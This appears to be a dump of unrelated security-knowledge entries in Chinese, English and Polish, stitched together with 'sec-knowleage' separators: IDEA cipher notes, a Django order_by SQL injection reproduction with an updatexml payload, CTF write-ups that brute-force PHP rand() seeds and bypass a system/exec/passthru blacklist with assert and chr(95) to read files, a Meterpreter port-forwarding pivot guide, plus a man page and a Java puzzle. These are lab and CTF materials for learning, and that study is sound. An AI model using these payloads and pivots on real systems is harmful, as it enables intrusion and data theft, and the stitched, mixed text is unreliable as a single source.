**国际数据加密算法**(International Data Encryption Algorithm,IDEA),最早称为**改良建议加密标准**(Improved Proposed Encryption Standard,IPES),是密码学上一种对称密钥分组密码,由 James Massey 与来学嘉设计,在1991年首次提出。这个算法的提出,是为了取代旧有的数据加密标准 DES。(来自维基百科)
## 基本流程
### 密钥生成
IDEA 在加密的每轮中使用 6个密钥,然后最后输出轮使用4个密钥。所以一共有52个。
1. 前8个密钥来自与该算法最初的密钥,K1 取自密钥的高16比特,K8 取自密钥的低16比特。
2. 将密钥循环左移 25 位获取下一轮密钥,然后再次分为8组。
### 加密流程
IDEA 加密的数据块的大小为 64 比特,其使用的密钥长度为128 比特。该算法会对输入的数据块进行8次相同的变换,只是每次使用的密钥不同,最后会进行一次输出变换。每一轮的操作
可以输入和输出都是 16 比特位一组。每一轮的主要执行的运算有
- 按位异或,⊕
- 模加,模数为 $2^{16}$ ,⊞
- 模乘,模数为 $2^{16}+1$ ,⊙。但是需要注意的是 0x0000 的输入会被修改为 $2^{16}$ ,$2^{16}$ 的输出结果会被修改为0x0000。
这里我们称由 K5,K6 构成的中间那个方格的加密方式为MA。这也是 IDEA 算法中重要的一部分,此外,我们称 MA_L 为该部分加密后的左侧结果,其最后会和最左边的 16 比特操作;MA_R 为该部分加密后的右半部分的结果,其最后会和第三个 16 比特操作。
在最后输出轮的操作如下
### 解密流程
解密流程与加密流程相似,主要在于其密钥的选取
- 第 i(1-9) 轮的解密的密钥的前 4 个子密钥由加密过程中第10-i 轮的前 4 个子密钥得出
- 其中第 1 个和第 4 个解密子密钥为相应的子密钥关于 $2^{16}+1$ 的乘法逆元。
- 第 2 个和第 3 个子密钥的取法为
- 当轮数为2,...,8时,取相应的第3个和第2个的子密钥的$2^{16}$ 的加密逆元。
- 当轮数为 1 或 9 时,取相应的第 2 个和第 3 个子密钥对应的$2^{16}$ 的加密逆元。
- 第 5 和第 6 个密钥不变。
### 总体流程
我们来证明一下算法的正确性,这里我们关注于解密算法的第一轮,首先我们先看一下$Y_i$ 是如何得到的
$Y_1 = W_{81} \odot Z_{49}$
$Y_2=W_{83}\boxplus Z_{50}$
$Y_3=W_{82}\boxplus Z_{51}$
$Y_4=W_{83}\odot Z_{52}$
解密时,第一轮直接进行的变换为
$J_{11}=Y_1 \odot U_1=Y_1 \odot Z_{49}^{-1}=W_{81}$
$J_{12}=Y_2 \boxplus U2=Y_2\boxplus Z_{50}^{-1}=W_{83}$
$J_{13}=Y_3 \boxplus U3=Y_3\boxplus Z_{51}^{-1}=W_{82}$
$J_{14}=Y_4 \odot U_4=Y_4 \odot Z_{52}^{-1}=W_{84}$
可以看出得到的结果只有中间的两个16位加密结果恰好相反。我们进一步看一下$W_{8i}$ 是如何得到的。
$W_{81}=I_{81} \oplus MA_R(I_{81}\oplus I_{83},I_{82}\oplus I_{84})$
$W_{82}=I_{83} \oplus MA_R(I_{81}\oplus I_{83},I_{82}\oplus I_{84})$
$W_{83}=I_{82} \oplus MA_L(I_{81}\oplus I_{83},I_{82}\oplus I_{84})$
$W_{84}=I_{84} \oplus MA_L(I_{81}\oplus I_{83},I_{82}\oplus I_{84})$
那么对于V11来说
$V_{11}=J_{11} \oplus MA_R(J_{11}\oplus J_{13},J_{12}\oplus J_{14})$
通过简单带入已有的值,显然
$V_{11}=W_{81} \oplus MA_R(I_{81}\oplus I_{83},I_{82} \oplus I_{84})=I_{81}$
对于其他的元素也类似,那么其实我们会发现第一轮解密后的结果恰好是$I_{81},I_{83},I_{82},I_{84}$。
类似地,这个关系可以一直满足直到
$V_{81}=I_{11},V_{82}=I_{13},V_{83}=I_{12},V_{84}=I_{14}$
那么最后再经过一次简单的输出变换,恰好得到最初加密的数值。
## 题目
- 2017 HITCON seccomp
|
sec-knowleage
|
# Django QuerySet.order_by SQL Injection Vulnerability (CVE-2021-35042)
[中文版本(Chinese version)](README.zh-cn.md)
Django released a security update on July 1, 2021, which fixes a SQL injection vulnerability in the function QuerySet.order_by.
Reference link:
- https://www.djangoproject.com/weblog/2021/jul/01/security-releases/
The vulnerability requires the developer to use order_by function. Moreover, the input of the queryset can be controlled.
## Start Vulnerability Application
Compile and start a vulnerable Django 3.2.4 by executing the following command:
```
docker compose build
docker compose up -d
```
After the environment is started, you can see the home page of Django at `http://your-ip:8000`.
## Vulnerability Reproduce
First, go to the list-view `http://your-ip:8000/vuln/` and add `order=-id` to the GET parameter.
http://your-ip:8000/vuln/?order=-id
You will see the data sorted by id in descending order:

Add `order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23` to the GET parameter, where `vuln` is your app and `collection` is the models.
`http://your-ip:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23`
You can see that the single bracket has been injected successfully, and you can get the information from the error:

|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "ALTER LANGUAGE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
ALTER LANGUAGE \- 修改一个过程语言的定义
.SH SYNOPSIS
.sp
.nf
ALTER LANGUAGE \fIname\fR RENAME TO \fInewname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBALTER LANGUAGE\fR 修改一门语言的定义。 目前唯一的功能就是重命名语言。只有超级用户可以重命名一门语言。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
一门语言的名字
.TP
\fB\fInewname\fB\fR
该语言的新名字
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有 ALTER LANGUAGE 语句。
.SH "SEE ALSO 参见"
CREATE LANGUAGE [\fBcreate_language\fR(7)], DROP LANGUAGE [\fBdrop_language\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
## rand2 (Web, 2p)
###ENG
[PL](#pl-version)
Page uses rand() to generate random numbers.
One is printed at the start of the script.
Five next is stored and only md5 hash is returned.
Flag is displayed after we submit five unknown (for us numbers).
The seed has only 32 bit. Given enough CPU power we can exhaust a lot of this space.
It also helps to try several rand() outputs at once - we need just one correct solution.
To generate seeds producing given rand() output C program is used:
```cpp
static unsigned int rnd(unsigned int seed) {
srand(seed);
return rand();
}
int main(int argc, char*argv[]) {
int n[100];
for(int i=0;i<argc-1;i++) {
n[i]=atoi(argv[i+1]);
}
int skip = !!fork() + 2*(!!fork());
for (uint32_t i=skip;i!=INT_MAX;i+=4) {
int x = rnd(i);
for(int j=0;j<argc-1;j++) {
if(n[j] == x) {
printf("%d %d\n", j, i);
fflush(stdout);
}
}
}
}
```
To check if given seed produces numbers matching md5, php script is used:
```php
<?php
srand((int)($argv[1]));
echo rand();
echo "\n";
$rand = array();
$i = 5;
$d = '';
$_d = '';
while($i--){
$r = (string)rand();
$rand = $r;
$d .= $r;
$_d .= 'check[]=';
$_d .= $r;
$_d .= "&";
}
echo md5($d);
echo "\n";
echo $_d;
echo "\n";
?>
```
All is stiched up with a python script:
```python
import requests
import subprocess
url = "http://202.120.7.202:8888/"
N = 8
session = [None] * N;
rands = [None] * N
hashes = [None] * N
for i in xrange(len(session)):
session[i] = requests.session()
p = session[i].get(url+"?go")
md5 = p.text[len(p.text)-32:]
r = p.text[:len(p.text)-32]
rands[i] = r
hashes[i] = md5
print i, r, md5
proc = subprocess.Popen(["./a.out"]+rands, stdout=subprocess.PIPE)
for output in iter(proc.stdout.readline,''):
print output
i,s = output.split(" ")
r_output = subprocess.Popen(["php", "rand.php", s], stdout=subprocess.PIPE).communicate()[0]
g_rand,g_hash,g_d,_ = r_output.split("\n")
print hashes[int(i)], g_hash
if hashes[int(i)] == g_hash:
print g_d
print session[int(i)].get(url+"?"+g_d).text
proc.kill()
break
```
We try 8 sessions at once. After only a few tries valid seed is found and flag returned.
###PL version
Stronka używa funckcji rand() do generowania liczb.
Pierwsza jest wypisywana przy starcie skryptu.
Pięć następnych jest zapisywanych a zwracany jest tylko hasz md5.
Flaga zostanie nam ujawniona gdy podamy te pięć nieznanych nam liczb.
Ziarno dla funkcji rand() ma tylko 32 bity.
Przy dostatecznie dużej mocy obliczeniowej możemy przeszukać znaczącą część tej przestrzeni.
Możemy też próbować odgadnąć kilka ziaren na raz - potrzebne nam tylko jedno poprawne rozwiązanie a błędne nic na nie kosztują.
Aby wygenerować możliwe ziarna dla podanej wartośći rand() używamy poniższego programu w C:
```cpp
static unsigned int rnd(unsigned int seed) {
srand(seed);
return rand();
}
int main(int argc, char*argv[]) {
int n[100];
for(int i=0;i<argc-1;i++) {
n[i]=atoi(argv[i+1]);
}
int skip = !!fork() + 2*(!!fork());
for (uint32_t i=skip;i!=INT_MAX;i+=4) {
int x = rnd(i);
for(int j=0;j<argc-1;j++) {
if(n[j] == x) {
printf("%d %d\n", j, i);
fflush(stdout);
}
}
}
}
```
Każda podana liczba może być wygenerowana przez kilka różnych ziaren.
Aby odrzucić fałszywe, generujemy hasz 5 kolejnych liczb skryptem PHP.
Ziarno jest odrzucane jeżeli hasz różni się od wartośći orzymanej ze strony.
```php
<?php
srand((int)($argv[1]));
echo rand();
echo "\n";
$rand = array();
$i = 5;
$d = '';
$_d = '';
while($i--){
$r = (string)rand();
$rand = $r;
$d .= $r;
$_d .= 'check[]=';
$_d .= $r;
$_d .= "&";
}
echo md5($d);
echo "\n";
echo $_d;
echo "\n";
?>
```
Całość połączona jest skryptem w Pythonie:
```python
import requests
import subprocess
url = "http://202.120.7.202:8888/"
N = 8
session = [None] * N;
rands = [None] * N
hashes = [None] * N
for i in xrange(len(session)):
session[i] = requests.session()
p = session[i].get(url+"?go")
md5 = p.text[len(p.text)-32:]
r = p.text[:len(p.text)-32]
rands[i] = r
hashes[i] = md5
print i, r, md5
proc = subprocess.Popen(["./a.out"]+rands, stdout=subprocess.PIPE)
for output in iter(proc.stdout.readline,''):
print output
i,s = output.split(" ")
r_output = subprocess.Popen(["php", "rand.php", s], stdout=subprocess.PIPE).communicate()[0]
g_rand,g_hash,g_d,_ = r_output.split("\n")
print hashes[int(i)], g_hash
if hashes[int(i)] == g_hash:
print g_d
print session[int(i)].get(url+"?"+g_d).text
proc.kill()
break
```
Próbująć odgadnąć 8 ziaren na raz, wystarczyło tylko kilka prób aby odgadnąć jedno mieszcząc się w czasie.
|
sec-knowleage
|
# Banh can (web 100)
###ENG
[PL](#pl-version)
In the task we get a webpage with a form.
We can input some data in the form and submit it, which causes redirection to:
`http://web04.grandprix.whitehatvn.com/index.php?hello=our_input`
And it prints out `Hello our_input`.
There is also a hint in the source code that we can try calling function `hint`.
After a while we figure out that the parameter name is the function name and the value is string argument.
This means we can go to:
`http://web04.grandprix.whitehatvn.com/index.php?hint`
To call hint function.
This functions shows us that there is a blacklist for some inputs:
`$blacklist = array("system", "passthru", "exec", "read", "open", "eval", "backtick", "`", "_");`
We quickly notice that there is one function missing here, which enables us to call any PHP code from a string parameter - `assert`.
So we can call:
`http://web04.grandprix.whitehatvn.com/index.php?assert=phpinfo()`
And it shows us phpinfo, with list of all disabled PHP functions.
It seems there is no way of getting a shell, but maybe we don't need it.
We decide to read index.php just to see what exactly we're dealing with.
While `_` is blacklisted, we can just concatenate string with `chr(95)` instead so we call:
`http://web04.grandprix.whitehatvn.com/index.php?assert=assert(%27print(file%27.chr(95).%27get%27.chr(95).%27contents(%22index.php%22))%27)`
in order to call `assert('file_get_contents("index.php")')`
and the flag is in the source code: `WhiteHat{36b32e1f18a0da66de3b9dd29db947155b35320f}`
###PL version
W zadaniu dostajemy stronę internetową z formularzem.
Możemy wpisać dane do formularz i po wysłaniu jesteśmy pod adresem:
`http://web04.grandprix.whitehatvn.com/index.php?hello=our_input`
I widzimy `Hello our_input`
W źródle strony jest też wskazówka żeby wywołać funkcje `hint`.
Po pewnym czasie doszliśmy do wniosku że nazwa parametru to nazwa funkcji a wartość to argument jako string.
To oznacza że możemy przejść pod:
`http://web04.grandprix.whitehatvn.com/index.php?hint`
aby wywołać funkcje 1hint()`.
Ta funkcja pokazuje nam, że pewne wejścia są blacklistowane:
`$blacklist = array("system", "passthru", "exec", "read", "open", "eval", "backtick", "`", "_");`
Szybko zauważamy że brakuje tutaj jednej funkcji, która pozwala wykonać dowolny kod PHP z parametru będącego stringiem - `assert`.
Możemy więc wołać:
`http://web04.grandprix.whitehatvn.com/index.php?assert=phpinfo()`
A to pokaże nam wynik wywołania phpinfo, z listą funkcji PHP które są wyłączone.
Wygląda na to że nie ma szans na zdobycie shella, ale może go nie potrzebujemy.
Postanowiliśmy pobrać index.php żeby sprawdzić co dokładnie dzieje się w skrypcie.
Co prawda `_` jest na blackliście, ale możemy po prostu skleić sobie stringa z `chr(95)` zamiast tego, więc wołamy:
`http://web04.grandprix.whitehatvn.com/index.php?assert=assert(%27print(file%27.chr(95).%27get%27.chr(95).%27contents(%22index.php%22))%27)`
Aby wywołać `assert('file_get_contents("index.php")')`
I w źródle jest już flaga: `WhiteHat{36b32e1f18a0da66de3b9dd29db947155b35320f}`
|
sec-knowleage
|
# 12. 矩阵中的路径
[牛客网](https://www.nowcoder.com/practice/69fe7a584f0a445da1b6652978de5c38?tpId=13&tqId=11218&tab=answerKey&from=cyc_github)
## 题目描述
判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一个格子开始,每一步可以在矩阵中向上下左右移动一个格子。如果一条路径经过了矩阵中的某一个格子,则该路径不能再进入该格子。
例如下面的矩阵包含了一条 bfce 路径。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1db1c7ea-0443-478b-8df9-7e33b1336cc4.png" width="200px"> </div><br>
## 解题思路
使用回溯法(backtracking)进行求解,它是一种暴力搜索方法,通过搜索所有可能的结果来求解问题。回溯法在一次搜索结束时需要进行回溯(回退),将这一次搜索过程中设置的状态进行清除,从而开始一次新的搜索过程。例如下图示例中,从 f 开始,下一步有 4 种搜索可能,如果先搜索 b,需要将 b 标记为已经使用,防止重复使用。在这一次搜索结束之后,需要将 b 的已经使用状态清除,并搜索 c。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/dc964b86-7a08-4bde-a3d9-e6ddceb29f98.png" width="200px"> </div><br>
本题的输入是数组而不是矩阵(二维数组),因此需要先将数组转换成矩阵。
```java
public class Solution {
private final static int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
private int rows;
private int cols;
public boolean hasPath (String val, int rows, int cols, String path) {
if (rows == 0 || cols == 0) return false;
this.rows = rows;
this.cols = cols;
char[] array = val.toCharArray();
char[][] matrix = buildMatrix(array);
char[] pathList = path.toCharArray();
boolean[][] marked = new boolean[rows][cols];
for (int i = 0; i < rows; i++)
for (int j = 0; j < cols; j++)
if (backtracking(matrix, pathList, marked, 0, i, j))
return true;
return false;
}
private boolean backtracking(char[][] matrix, char[] pathList,
boolean[][] marked, int pathLen, int r, int c) {
if (pathLen == pathList.length) return true;
if (r < 0 || r >= rows || c < 0 || c >= cols
|| matrix[r][c] != pathList[pathLen] || marked[r][c]) {
return false;
}
marked[r][c] = true;
for (int[] n : next)
if (backtracking(matrix, pathList, marked, pathLen + 1, r + n[0], c + n[1]))
return true;
marked[r][c] = false;
return false;
}
private char[][] buildMatrix(char[] array) {
char[][] matrix = new char[rows][cols];
for (int r = 0, idx = 0; r < rows; r++)
for (int c = 0; c < cols; c++)
matrix[r][c] = array[idx++];
return matrix;
}
public static void main(String[] args) {
Solution solution = new Solution();
String val = "ABCESFCSADEE";
int rows = 3;
int cols = 4;
String path = "ABCCED";
boolean res = solution.hasPath(val, rows, cols, path);
System.out.println(res);
}
}
```
|
sec-knowleage
|
# Under the mountain (game, 50p, 13 solved)
In this quest we know that the flag is located in a very special place under a mountain.
It's impossible to get there, but if we look at spells we have available there is `spell_ghostly_visions` which allows us to clip through solid objects.
This spell lasts a few seconds, and then it moves us back to our body.
The issue is that we can't use objects while we're a ghost, so we can't read the flag.
Out intial idea was, to cast this spell second time, once we're next to the flag.
Then the first spell would finish and move us back to our body, and then the second spell would finish and move us back to the flag.
While we can't cast 2 spells at the same time, we can use the same trick as with amulets -> casting spell and using scroll are not exclusive.
We can use the scroll first, and then cast the spell directly when we're next to the flag.
Another option was to use teleport binding spell when you're next to the flag, but this is overly complicated for no reason.
Once we cast those two ghost spells we get:

|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。
痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。
portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4--IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下:
https://github.com/rssnsj/portfwd
**攻击机:**
192.168.1.5 Debian
**靶机:**
192.168.1.4 Windows 7
192.168.1.119 Windows 2003
```bash
msf exploit(multi/handler) \> sessions ‐l
Active sessions
===============
Id Name Type Information Connection
‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐
1 meterpreter x86/windows WIN03X64\Administrator @ WIN03X64 192.168.1.5:45303 ‐> 192.168.1.119:53 (192.168.1.119)
msf exploit(multi/handler) > sessions ‐i 1 ‐c 'ipconfig'
[*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119)
Windows IP Configuration
Ethernet adapter 本地连接:
Connection‐specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.119
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1 22
```

靶机IP为:
192.168.1.119---windows 2003---x64
需要转发端口为:80,3389
```bash
msf exploit(multi/handler) > sessions ‐i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4012 created.
Channel 56 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985‐2003 Microsoft Corp.
C:\Documents and Settings\Administrator\桌面>if defined PSModulePath (echo ok!) else (echo sorry!)
if defined PSModulePath (echo ok!) else (echo sorry!)
sorry!
C:\Documents and Settings\Administrator\桌面>net config Workstation
net config Workstation
计算机名 \\WIN03X64
计算机全名 win03x64
用户名 Administrator
工作站正运行于
NetbiosSmb (000000000000)
NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07} (000C2985D67D)
软件版本 Microsoft Windows Server 2003
工作站域 WORKGROUP
登录域 WIN03X64
COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。
C:\Documents and Settings\Administrator\桌面>netstat ‐an|findstr "LIST ENING"
netstat ‐an|findstr "LISTENING"
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING
TCP 192.168.1.119:139 0.0.0.0:0 LISTENING
```

```bash
meterpreter > portfwd ‐h
Usage: portfwd [‐h] [add | delete | list | flush] [args]
OPTIONS:
‐L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
‐R Indicates a reverse port forward.
‐h Help banner.
‐i <opt> Index of the port forward entry to interact with (see the "list" command).
‐l <opt> Forward: local port to listen on. Reverse: local port to connect to.
‐p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
‐r <opt> Forward: remote host to connect to.
```

**攻击机执行:**
```bash
meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
[*] Local TCP relay created: :33389 <‐> 192.168.1.119:3389
meterpreter > portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
[*] Local TCP relay created: :30080 <‐> 192.168.1.119:80
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐
1 0.0.0.0:33389 192.168.1.119:3389 Forward
2 0.0.0.0:30080 192.168.1.119:80 Forward
2 total active port forwards.
```


查看攻击机LISTEN端口:转发已成功
```bash
root@John:~# netstat ‐ntlp |grep :3
tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby
tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby 4
```

Windows 7 分别访问攻击机33389,30080,既等价访问靶机3389,80


> Micropoor
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.